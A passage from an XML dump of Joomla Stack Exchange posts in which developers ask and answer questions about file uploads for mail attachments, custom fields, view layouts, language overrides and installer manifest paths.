LastActivityDate="2020-03-26T10:55:44.460" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26847" PostTypeId="1" CreationDate="2020-03-26T13:56:53.540" Score="1" ViewCount="52" Body="&lt;p&gt;hello i starting an code to allow sending file via a form&#xA;i create an input file field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;'.$field_name.'[]&quot; accept=&quot;'.$values_field[0].'&quot; id=&quot;'.$field_id.'&quot; '.$placeholder.' aria-label=&quot;'.$field_label.'&quot; class=&quot;inputfile '.$required.'&quot; '.$uploadmode.' style=&quot;margin:0&quot; maxuploads = 2 &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i create this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//upload attachement&#xA;        $files = $jinput-&amp;gt;files-&amp;gt;get($formid);&#xA;        if (isset($files))&#xA;        {&#xA;            foreach($files as $attachements) {&#xA;                foreach ($attachements as $file){&#xA;                // Import filesystem libraries. Perhaps not necessary, but does not hurt.&#xA;                jimport('joomla.filesystem.file');&#xA;&#xA;                // Clean up filename to get rid of strange characters like spaces etc.&#xA;                $filename = JFile::makeSafe($file['name']);&#xA;&#xA;                // Set up the source and destination of the file&#xA;                $src = $file['tmp_name'];&#xA;                $dest = JPATH_SITE . DS . &quot;tmp&quot; . DS . $filename;&#xA;                    // TODO: Add security checks. FIle extension and size maybe using joomla rules&#xA;&#xA;                    if (JFile::upload($src, $dest))&#xA;                        {&#xA;                    $mailer-&amp;gt;addAttachment($dest);&#xA;                        } &#xA;                    else&#xA;                        {&#xA;                        $app-&amp;gt;enqueueMessage(JText::_('FLEXI_FIELD_EMAIL_MESSAGE_SEND_ERROR'), 'error');&#xA;                        }&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        //Sendemail&#xA;        $send = $mailer-&amp;gt;Send();&#xA;&#xA;        //Message in front-end&#xA;        if ( $send !== true )&#xA;            {&#xA;                $app-&amp;gt;enqueueMessage(JText::_('FLEXI_FIELD_EMAIL_MESSAGE_SEND_ERROR'), 'error');&#xA;                //Deleting file&#xA;                if (is_file($dest)) {&#xA;                JFile::delete($dest);&#xA;                } &#xA;            } else {&#xA;                // Message sending&#xA;                $app-&amp;gt;enqueueMessage(JText::_('FLEXI_FIELD_EMAIL_MESSAGE_SEND_SUCCESS'), 'message');&#xA;                //Deleting file&#xA;                if (is_file($dest)) {&#xA;                JFile::delete($dest);&#xA;                } &#xA;            }&#xA;    }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i need some help for 2 questions,&#xA;how is the best way to check file extension for better security ? can i use (and how) the joomla rules (mime and size files)&#xA;what is the better solution for deleting files after sending without redo the foreach ??&#xA;thanks for any help !&lt;/p&gt;&#xA;" OwnerUserId="11362" LastActivityDate="2020-03-26T13:56:53.540" Title="Upload and attachement for phpmailer" Tags="|joomla-3.x|joomla-api|security|file-upload|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26848" PostTypeId="2" ParentId="26844" CreationDate="2020-03-26T21:13:08.193" Score="1" Body="&lt;p&gt;The form which displays the captcha will have a label field which will be set to a Joomla language constant. You need to find the form xml definition, and then find the label for the captcha to get the name of the language constant. Then change the text associated with that language constant in the appropriate language .ini file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for some reason you can't change the language ini file then you can create an override as described in &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&lt;/a&gt;, by going into admin Extensions / Language(s) / Overrides, clicking on New and setting a different text string for your captcha label. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, going into the admin Extensions / Language(s) / Overrides, and then clicking New, and on the right hand side Search for Value and entering &quot;Captcha * (optional)&quot; is also an easy way of finding the language constant you want. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-03-26T21:13:08.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26849" PostTypeId="2" ParentId="26823" CreationDate="2020-03-27T03:51:04.400" Score="0" Body="&lt;p&gt;I couldn't find anything that did what I wanted so I built one. I hope this may help other Joomla devs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/thinkerytim/joomla-docker&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/thinkerytim/joomla-docker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to create a LAMP Docker container on your local dev machine, fully installed and with Joomla ready to roll (no need to do the Joomla setup via the web installer) and with your component installed as well. Any comments welcome on the Github repo.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2020-03-27T03:51:04.400" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26850" PostTypeId="1" CreationDate="2020-03-27T16:05:01.923" Score="0" ViewCount="75" Body="&lt;p&gt;I have the following method to convert JSON to a String &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Convert the JSON-encoded image info into an array&#xA;$image = new JRegistry;&#xA;$image-&amp;gt;loadString($this-&amp;gt;item-&amp;gt;image, 'JSON');&#xA;$this-&amp;gt;item-&amp;gt;imageDetails = $image;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this code works only on an object. Is there any way to use these functions on an array? &lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-03-27T16:05:01.923" Title="JSON to String in Joomla" Tags="|joomla-3.x|array|json|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26851" PostTypeId="1" CreationDate="2020-03-27T22:19:28.163" Score="1" ViewCount="113" Body="&lt;p&gt;We have linked the author to &lt;code&gt;com_contacts&lt;/code&gt; and now I want to show an author image which will be a custom field in &lt;code&gt;com_contacts&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to show it as a &lt;code&gt;com_user&lt;/code&gt; custom field using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = FieldsHelper::getFields('com_users.user', JFactory::getUser($author), true);&#xA;&#xA;foreach($fields as $field) {&#xA;    $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;&#xA;$profilePicture = $fields['profilepicture50x50']-&amp;gt;value;&#xA;echo $profilePicture;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not help me if I want to use &lt;code&gt;com_contacts&lt;/code&gt;.  I tried changing it to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = FieldsHelper::getFields('com_contacts.contact', JFactory::getUser($author), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I look in the API I do not see an API helper in that way.  I can get the author ID from the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using &lt;code&gt;$author = $displayData['item']-&amp;gt;created_by;&lt;/code&gt;&#xA;or by using &lt;code&gt;$displayData['contact_link']&lt;/code&gt; to find the entire &lt;code&gt;com_contact&lt;/code&gt; URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone direct me to the correct API page or help me to understand how I could call such a field?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-03-28T10:09:08.107" Title="How can I call com_contact fields in an article view?" Tags="|custom-field|com-contacts|com-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26852" PostTypeId="2" ParentId="26845" CreationDate="2020-03-28T07:10:51.863" Score="0" Body="&lt;p&gt;Resolved! This is a working php code to compare current date to article created date:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date1 = new DateTime(); $date2 = new DateTime($article-&amp;gt;created); if ($date1 &amp;gt; $date2) &#xA;echo $date1-&amp;gt;format(&quot;Y-m-d&quot;) . &quot; is latest than &quot;&#xA;        . $date2-&amp;gt;format(&quot;Y-m-d&quot;); else echo $date1-&amp;gt;format(&quot;Y-m-d&quot;) . &quot; is older than &quot; &#xA;        . $date2-&amp;gt;format(&quot;Y-m-d&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14172" LastActivityDate="2020-03-28T07:10:51.863" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26854" PostTypeId="2" ParentId="26851" CreationDate="2020-03-28T10:09:08.107" Score="2" Body="&lt;p&gt;Your approach will still work, but you just need to pass a &lt;code&gt;contact&lt;/code&gt; object as the second parameter to your call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = FieldsHelper::getFields(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately afaik there is no API around &lt;code&gt;contact&lt;/code&gt; the way there is around &lt;code&gt;user&lt;/code&gt;, so it's a bit more complex to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got it by doing a database query (as in &lt;a href=&quot;https://joomla.stackexchange.com/questions/23214/get-com-contacts-item-by-id&quot;&gt;Selecting data using JDatabase&lt;/a&gt;) to find the &lt;code&gt;#__contact_details&lt;/code&gt; table &lt;code&gt;id&lt;/code&gt; (which I set to &lt;code&gt;$contactId&lt;/code&gt;) where &lt;code&gt;created_by&lt;/code&gt; = &lt;code&gt;user_id&lt;/code&gt; in the &lt;code&gt;contact_details&lt;/code&gt; table. Then I used JTable to get the &lt;code&gt;contact&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_contact/tables');&#xA;$contact = JTable::getInstance('Contact', 'ContactTable', array());&#xA;if ($contact-&amp;gt;load($contactId))&#xA;{&#xA;    JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;    $fields = FieldsHelper::getFields('com_contact.contact', $contact, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your code works as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you have specific reasons for using Contact rather than User, but you obviously have to be careful as you can assign the same User to 2 or more Contact records. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Once you get the contact id you can get the contact object using the contact model instead, as described in &lt;a href=&quot;https://joomla.stackexchange.com/questions/23214/get-com-contacts-item-by-id&quot;&gt;Get com_contacts item by id?&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-03-28T10:09:08.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26855" PostTypeId="1" AcceptedAnswerId="27857" CreationDate="2020-03-28T13:41:32.550" Score="1" ViewCount="528" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I am using a repeatable custom field for articles in Joomla! 3.9.16 with an alternative layout (override) of &lt;code&gt;com_fields/layouts/field/render.php&lt;/code&gt; and an override of &lt;code&gt;plugins/fields/repeatable/tmpl/repeatable.php&lt;/code&gt; to show the fields content in columns &quot;After Display&quot;. This is working fine.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The number of columns should depend on the value of a radio-field of the same field-group without &quot;Automatic Display&quot;. I can not get this running.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem is that I do not get the value of this radio field into the field-layout. I think this is because I do not get the &lt;code&gt;item-id&lt;/code&gt; of the current article via &lt;code&gt;$this-&amp;gt;item&lt;/code&gt; or &lt;code&gt;$displayData['item']&lt;/code&gt;. It is no problem to get the 'number-of-columns' value in other overrides like the fields-layout &lt;code&gt;com_fields/layouts/fields/render.php&lt;/code&gt; or the often used &lt;code&gt;blog_item.php&lt;/code&gt; etc.,  but I want to do this just in the alternative layout if possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following render.php is a simpler version of my code without stuff like links or images and without all the different versions I tried to get the field-value of &lt;code&gt;'number-of-columns'&lt;/code&gt; to &lt;code&gt;$numberOfColumns&lt;/code&gt;. Just kept the variable where it should be echoed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking into almost every question about &quot;custom fields&quot; on stackexchange and other sites. Did try the helpers and different answers to fetch the item-id and field-values but without any luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;render.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;if (!key_exists('field', $displayData))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;$field = $displayData['field'];&#xA;$value = $field-&amp;gt;value;&#xA;&#xA;&#xA;if ($value == '')&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;cols-&amp;lt;?php echo $numberOfColumns; ?&amp;gt;&quot;&amp;gt;    &#xA;    &amp;lt;?php   &#xA;        $obj = json_decode($value, true);&#xA;        foreach ($obj as $value) : &#xA;&#xA;            $headline = $value['Headline'];&#xA;            $text= $value['Text'];&#xA;    ?&amp;gt;     &#xA;        &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;?php echo $headline; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;div class=&quot;content-wrapper&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo $text; ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;repeatable.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;$fieldValue = $field-&amp;gt;value;&#xA;&#xA;if ($fieldValue === '')&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;// Get the values&#xA;$fieldValues = json_decode($fieldValue, true);&#xA;&#xA;if (empty($fieldValues))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;echo $fieldValue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14176" LastEditorUserId="14176" LastEditDate="2020-03-29T14:15:46.047" LastActivityDate="2020-03-30T07:17:51.040" Title="Get values of other custom fields in field layout override" Tags="|custom-field|com-content|joomla-3.9|repeatable-field|com-fields|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27855" PostTypeId="1" AcceptedAnswerId="27941" CreationDate="2020-03-29T06:09:50.770" Score="0" ViewCount="180" Body="&lt;p&gt;Is there a php function to insert in the template which prints the name of the menu item of the displayed page?&lt;/p&gt;&#xA;" OwnerUserId="14177" LastActivityDate="2020-05-14T22:02:50.287" Title="Joomla php function which prints the pagename" Tags="|php|development|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27856" PostTypeId="2" ParentId="26855" CreationDate="2020-03-29T18:04:51.927" Score="1" Body="&lt;p&gt;Here's a backstop solution, for using if no-one comes up with a better idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic approach is to use a plugin which is triggered by &lt;code&gt;onContentPrepare&lt;/code&gt;. In this plugin it gets and processes the custom fields to find the &lt;code&gt;number-of-columns&lt;/code&gt; field. It finds the value of this field and stores it in a PHP global variable, which then can be accessed in the render function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I developed the plugin in a folder &lt;code&gt;plg_content_setcolumns&lt;/code&gt;, and here are the files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setcolumns.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension version=&quot;3.8&quot; type=&quot;plugin&quot; group=&quot;content&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Set number of columns&amp;lt;/name&amp;gt;&#xA;    &amp;lt;description&amp;gt;Plugin to set number of columns from a custom field&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;setcolumns&quot;&amp;gt;setcolumns.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setcolumns.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die;&#xA;&#xA;class plgContentSetColumns extends JPlugin&#xA;{&#xA;     public function onContentPrepare($context, $item, $params, $offset)&#xA;     {&#xA;         if ($context == &quot;com_content.article&quot;) &#xA;        {&#xA;            JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;            $fields = FieldsHelper::getFields('com_content.article', $item);&#xA;            global $ncols;&#xA;            $ncols = false;&#xA;            foreach ($fields as $field)&#xA;            {&#xA;                if ($field-&amp;gt;name == 'number-of-columns')&#xA;                {&#xA;                    $ncols = $field-&amp;gt;value;&#xA;                    break;&#xA;                }&#xA;            }&#xA;        }&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then access $GLOBALS['ncols'] in your render code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have to change some variables to suit your own field names.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-03-29T18:04:51.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27857" PostTypeId="2" ParentId="26855" CreationDate="2020-03-30T07:17:51.040" Score="2" Body="&lt;p&gt;Create an override of &lt;code&gt;com_fields/layouts/fields/render.php&lt;/code&gt;. Find this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = FieldsHelper::render($context, 'field.' . $layout, array('field' =&amp;gt; $field));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change it to also pass the item to field layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = FieldsHelper::render($context, 'field.' . $layout, array('field' =&amp;gt; $field, 'item' =&amp;gt; $item));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The item with its fields is now accessible in &lt;code&gt;com_fields/layouts/field/render.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-30T07:17:51.040" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="27859" PostTypeId="1" CreationDate="2020-03-30T12:06:28.987" Score="0" ViewCount="23" Body="&lt;p&gt;I need to display a green highlighted message in my grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using &lt;code&gt;&amp;lt;span class=&quot;label label-success&quot;&amp;gt;message&amp;lt;/span&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do it via code like &lt;code&gt;JFactory::getApplication()-&amp;gt;enqueueMessage('Message');&lt;/code&gt; but for displaying a label/badge instead?&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-01T12:04:22.023" LastActivityDate="2020-04-01T12:04:22.023" Title="Displaying label (boostrap badge) in an admin grid" Tags="|joomla-3.x|css|jtable|highlighting|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="27860" PostTypeId="1" AcceptedAnswerId="27874" CreationDate="2020-03-30T15:14:12.983" Score="1" ViewCount="132" Body="&lt;p&gt;I'm getting an error when trying to save edits in my custom component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another edit.php that works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I identified that the problem lies in the table file, specifically in the function &lt;code&gt;check()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I have the function in my table file, whenever I save the edit, it gives me an SQL error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;`table_users` was not locked with LOCK TABLES&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I take the function out, it gives me a different error (the weirdest part is that even with the function not being there, it still says the function name):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Save failed with the following error:&lt;br&gt;&#xA;  Invalid &lt;code&gt;parent_id&lt;/code&gt; [0] in PrefixNameTableTableName::check()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't need &lt;code&gt;parent_id&lt;/code&gt;. How can I solve it? &lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="12352" LastEditDate="2020-04-02T21:45:55.430" LastActivityDate="2020-04-04T11:14:11.140" Title="Error saving an edit in a custom component `table_users` was not locked with LOCK TABLES" Tags="|joomla-3.x|component|custom-component|database|jtable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27862" PostTypeId="1" CreationDate="2020-03-31T07:49:26.777" Score="0" ViewCount="104" Body="&lt;p&gt;I am trying to figure out how this table is used. More importantly I want to write to it in a simple way without having to build a special form or write to the db directly. Currently I have a site with a plugin called miniorange that manages sso logins and writes three user attributes to this table when a user first logs in. I can created users manually but am not able to populate the three attributes (First Name, Last Name, Staff ID) that are held in this table. Is there some existing joomla mechanism such as the user creation interface that can be used to write to this table or you have to build something that will write directly to this table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  using joomla  3.9.16.&lt;/p&gt;&#xA;" OwnerUserId="14179" LastActivityDate="2022-01-25T08:01:20.177" Title="How is the #_user_profiles table used" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27863" PostTypeId="2" ParentId="27862" CreationDate="2020-03-31T08:31:42.547" Score="1" Body="&lt;p&gt;There is no code for managing data in this table. You have to write your own plugin for this. You can take a look at &lt;code&gt;User - Profile&lt;/code&gt; plugin for example.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-31T08:31:42.547" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27864" PostTypeId="1" AcceptedAnswerId="27869" CreationDate="2020-03-31T16:52:54.083" Score="1" ViewCount="380" Body="&lt;p&gt;I am trying to choose the layout for my view dynamically, which is what I imagined &lt;code&gt;setLayout&lt;/code&gt; or &lt;code&gt;loadTemplate&lt;/code&gt; on my &lt;code&gt;JViewLegacy&lt;/code&gt; view would be able to do, but there seems to be some extra convention going on here that I can't seem to follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my structure looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;views/myview/view.html.php&#xA;views/myview/tmpl/default.php&#xA;views/myview/tmpl/alternate.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in my class I have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyComponentViewMyView extends JViewLegacy {&#xA;&#xA;     function display($tpl = null ) {&#xA;         if ( ViewManager::$showAlternate ) {&#xA;              $this-&amp;gt;setLayout('alternate');&#xA;         } &#xA;         parent::display($tpl);&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I would expect from the documentation I have been able to find is that this would load the view from 'alternate.php' instead of 'default.php' but instead I get a message like this: &lt;code&gt;500 Layout default_alternate not found.&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things that I have found recommended and tried that don't seem to have made a difference, or the only difference they have made was a slight change of error message, usually to &lt;code&gt;Layout default not found&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Changing from &lt;code&gt;setLayout&lt;/code&gt; to &lt;code&gt;loadTemplate&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Just using the &lt;code&gt;layout&lt;/code&gt; parameter in the URL to test if it can be found.&lt;/li&gt;&#xA;&lt;li&gt;Renaming &lt;code&gt;alternate.php&lt;/code&gt; to &lt;code&gt;default_alternate.php&lt;/code&gt; or even &lt;code&gt;alternate_default.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Changing the path to &lt;code&gt;/view/myview/alternate/default.php&lt;/code&gt; instead of &lt;code&gt;/view/myview/tmpl/default.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Calling &lt;code&gt;setLayout&lt;/code&gt; with &lt;code&gt;default:alternate.php&lt;/code&gt; instead.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is clearly something I have missed or not been able to find in the documentation. What do I need to do to be able to render &lt;code&gt;alternate.php&lt;/code&gt; instead of &lt;code&gt;default.php&lt;/code&gt; for the same view?&lt;/p&gt;&#xA;" OwnerUserId="9900" LastActivityDate="2020-12-29T23:58:29.950" Title="How can I show an alternate layout for my view in an MVC component?" Tags="|custom-component|mvc|view|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27865" PostTypeId="1" AcceptedAnswerId="27867" CreationDate="2020-03-31T16:55:01.630" Score="0" ViewCount="238" Body="&lt;p&gt;I regularly get an error similar to this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JInstaller: :Install: File does not exist&#xA;  /*******/public_html/dev/tmp/install_5e834b10a9f88/en-GB.plg_system_kou_address_mapper.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my XML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_kou_address_mapper.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_kou_address_mapper.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I check and I see both files exist.  I copy and paste the files names to make sure there are no errors.  The .sys file seems to load correctly.  Here is the name copied and pasted:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;en-GB.plg_system_kou_address_mapper.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The location is the same as the .sys version which is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;language/en-GB/en-GB.plg_system_kou_address_mapper.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This happens a lot and I find it really hard to understand what the issue is.  The file exists, and when I check my zip file it is there.  Does anyone have a clue as to what I'm doing wrong as this happens a lot and I haven't got a very reliable methodology to check for errors other than checking spelling.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-04-01T08:41:50.743" Title="Installer cannot find language file, but it does exist" Tags="|plugin|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27867" PostTypeId="2" ParentId="27865" CreationDate="2020-04-01T08:39:10.730" Score="1" Body="&lt;p&gt;Your file structure doesn't match the manifest file. Currently the manifest looks for language files in the root directory of your package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add &lt;code&gt;folder&lt;/code&gt; attribute with path to language files to &lt;code&gt;&amp;lt;languages&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages folder=&quot;language/en-GB&quot;&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_kou_address_mapper.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_kou_address_mapper.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or prepend the path to each &lt;code&gt;&amp;lt;language&amp;gt;&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_system_kou_address_mapper.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB/en-GB.plg_system_kou_address_mapper.sys.ini&amp;lt;/language&amp;gt;&#xA;&amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or move language files to root directory.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-04-01T08:39:10.730" 